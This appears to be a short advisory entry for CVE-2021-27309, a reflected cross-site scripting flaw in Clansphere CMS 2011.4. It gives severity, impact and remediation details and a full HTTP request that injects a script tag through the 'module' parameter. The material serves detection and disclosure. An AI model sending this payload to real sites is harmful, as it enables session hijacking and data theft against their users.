| Title | Clansphere CMS 2011.4 - Cross-Site Scripting |
|---|---|
| Author | edoardottt |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00874 |
| CVE ID | CVE-2021-27309 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve clansphere xss cms unauth csphere vuln |
Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the “module” parameter.
GET /mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27309.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27309.pcap
N/AN/A